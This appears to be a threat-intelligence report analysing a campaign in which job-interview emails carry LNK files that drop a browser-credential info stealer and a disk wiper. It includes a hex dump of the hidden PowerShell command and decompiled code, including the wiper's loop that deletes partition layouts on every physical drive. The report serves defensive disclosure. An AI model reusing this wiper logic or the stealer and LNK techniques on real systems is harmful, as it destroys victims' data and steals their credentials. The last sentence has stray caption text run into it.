Report: Scarred Chimera - info stealer followed by a wiper.

Introduction

During recent investigations we discovered emails with shortcut files (*.LNK) of abnormal sizes. The LNK files contained a power shell script that drops an info stealer followed by a wiper. We identified the dropped wiper as a custom wiper made by Scarred Chimera.

Scarred Chimera is a threat actor operating since 2022, and is known to carry out destructive attack using wipers and ransomware. They primarily target government, military, and security organizations.

Attack Scenario

Individuals are sent an email requesting they answer questions for job interview along with a LNK file named list of questions. Once the LNK file is opened a script inside the file loads a loader for an info stealer and set wiper to start on computer boot using Windows Task Scheduler. When the infected computer reboots the wiper removes partition information from the disk. As a result, triggering a blue screen of death (BSOD).

Malware Analysis

Stage 1 - LNK file

The LNK files contain a command to execute PowerShell via CMD along with legitimate document files and malicious PE data.

```
000004D0  20 00 2F 00 63 00 20 00 70 00 6F 00 77 00 65 00   ./.c. .p.o.w.e.
000004E0  72 00 73 00 68 00 65 00 6C 00 6C 00 20 00 2D 00  r.s.h.e.l.l. .-.
000004F0  77 00 69 00 6E 00 64 00 6F 00 77 00 73 00 74 00  w.i.n.d.o.w.s.t.
00000500  79 00 6C 00 65 00 20 00 68 00 69 00 64 00 64 00  y.l.e. .h.i.d.d.
00000510  65 00 6E 00 20 00 2D 00 6E 00 6F 00 70 00 20 00  e.n. .-.n.o.p. .
00000520  2D 00 4E 00 6F 00 50 00 72 00 6F 00 66 00 69 00  -.N.o.P.r.o.f.i.
00000530  6C 00 65 00 20 00 2D 00 4E 00 6F 00 6E 00 49 00  l.e. .-.N.o.n.I.
00000540  6E 00 74 00 65 00 72 00 61 00 63 00 74 00 69 00  n.t.e.r.a.c.t.i.
00000550  76 00 65 00 20 00 20 00 2D 00 63 00 20 00 22 00  v.e. . .-.c. .".
00000560  24 00 74 00 6D 00 70 00 20 00 3D 00 20 00 27 00  $.t.m.p. .=. .'.
00000570  25 00 74 00 65 00 6D 00 70 00 25 00 27 00 3B 00  %.t.e.m.p.%.'.;.
00000580  46 00 75 00 6E 00 63 00 74 00 69 00 6F 00 6E 00  F.u.n.c.t.i.o.n.
```

When an LNK file is executed it runs PowerShell commands to create and execute a legitimate document file. Afterward, it creates 3 files in the %public% folder and executes call.bat.

The names and the features of the files created in this step are as follows.

File name	Feature
viewer.dat	Wiper malware
find.dat	Encoded Info Stealer malware
call.bat	Loader for executing Info Stealer and Wiper

Stage 2 - Loader

The Loader dropped from the LNK file opens find.dat file and read it' s contents. Afterward, it decompress and base64 decode data read from find.dat and executes it in a fileless manner.

After executing the Info Stealer it uses Windows Task Scheduler to create a new task that executes viewer.dat file at startup. Finally the Loader deletes self and find.bat.

Stage 3 - Info Stealer

When executed the Info Stealer decodes C2 url using custom base64 table refered below.

- abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/

Then the Info Stealer retrieves the hostname, domain anme, and OS version along with the browser history and saved passwords of the following browsers.

- Brave
- Chrome
- Edge
- Firefox

The retrieved information is sent to the C2 using POST request.

```
    memset(v11, 0, v10);
    v15 = *&rclsid->Data1;
    if ( v5 )
    {
      sub_1800D3650(
        v15,
        0xF4240ui64,
        L"[\r\n%s\r\n,\r\n{\"HostName\": \"%s\", \"DomainName\": \"%s\", \"OsVersion\": \"%d.%d.%d\"}\r\n]\r\n");
      v16 = -1i64;
      do
        ++v16;
      while ( v5[v16] );
      memset(v5, 0, 2 * v16);
      LocalFree(v5);
      goto LABEL_15;
    }
  }
  else
  {
    v15 = *&rclsid->Data1;
  }
  sub_1800D3650(v15, 0xF4240ui64, L"HostName: %s\r\nDomainName: %s\r\nOsVersion: %d.%d.%d\r\n\r\n");
LABEL_15:
  for ( i = 0; i < 4; ++i )
```

Stage 4 - Wiper

When viewer.dat is executed it decrypts data saved in self using 1 byte xor with key "rt4EI0Mcn" and executes it by loading it to memory. The decrypted data is a simple wiper performing only one funtion: it iterates over available physical disks and send an IOCTL (input/ouput control) named IOCTL_DISK_DELETE_DRIVE_LAYOUT (0x7c100).

```
for ( i = 31; i >= 0; --i )
{
  sprintf(FileName, "\\\\.\\PhysicalDrive%d", (unsigned int)i);
  printf_1("%s\n", FileName);
  FileA = CreateFileA(FileName, 0xC0000000, 2u, 0i64, 3u, 0x80u, 0i64);
  v5 = DeviceIoControl(FileA, IOCTL_DISK_DELETE_DRIVE_LAYOUT, 0i64, 0, 0i64, 0, (LPDWORD)BytesReturned, 0i64);
  LastError = GetLastError();
  printf_1("DiskHandle: %d, Wiped: %d, Error: %d", FileA, v5, LastError);
}
```

This IOCTL removes partition information from the disk. If the partition style of the disk is Master Boot Record (MBR), it removes the signatures of the relevant drive from the partition table. If the partition style of the disk is GUID Partition Table (GPT), it wipes clean both the primary partition table header in sector 1 and the backup partition table in the last sector of the disk. As a result, it triggers a blue screen of death (BSOD) and crashes the disk during reboot due to a corrupted partition table, Converting gathered data into text-string format Main logic of Wiper which does not have any information on which offsets each partition resides on the disk.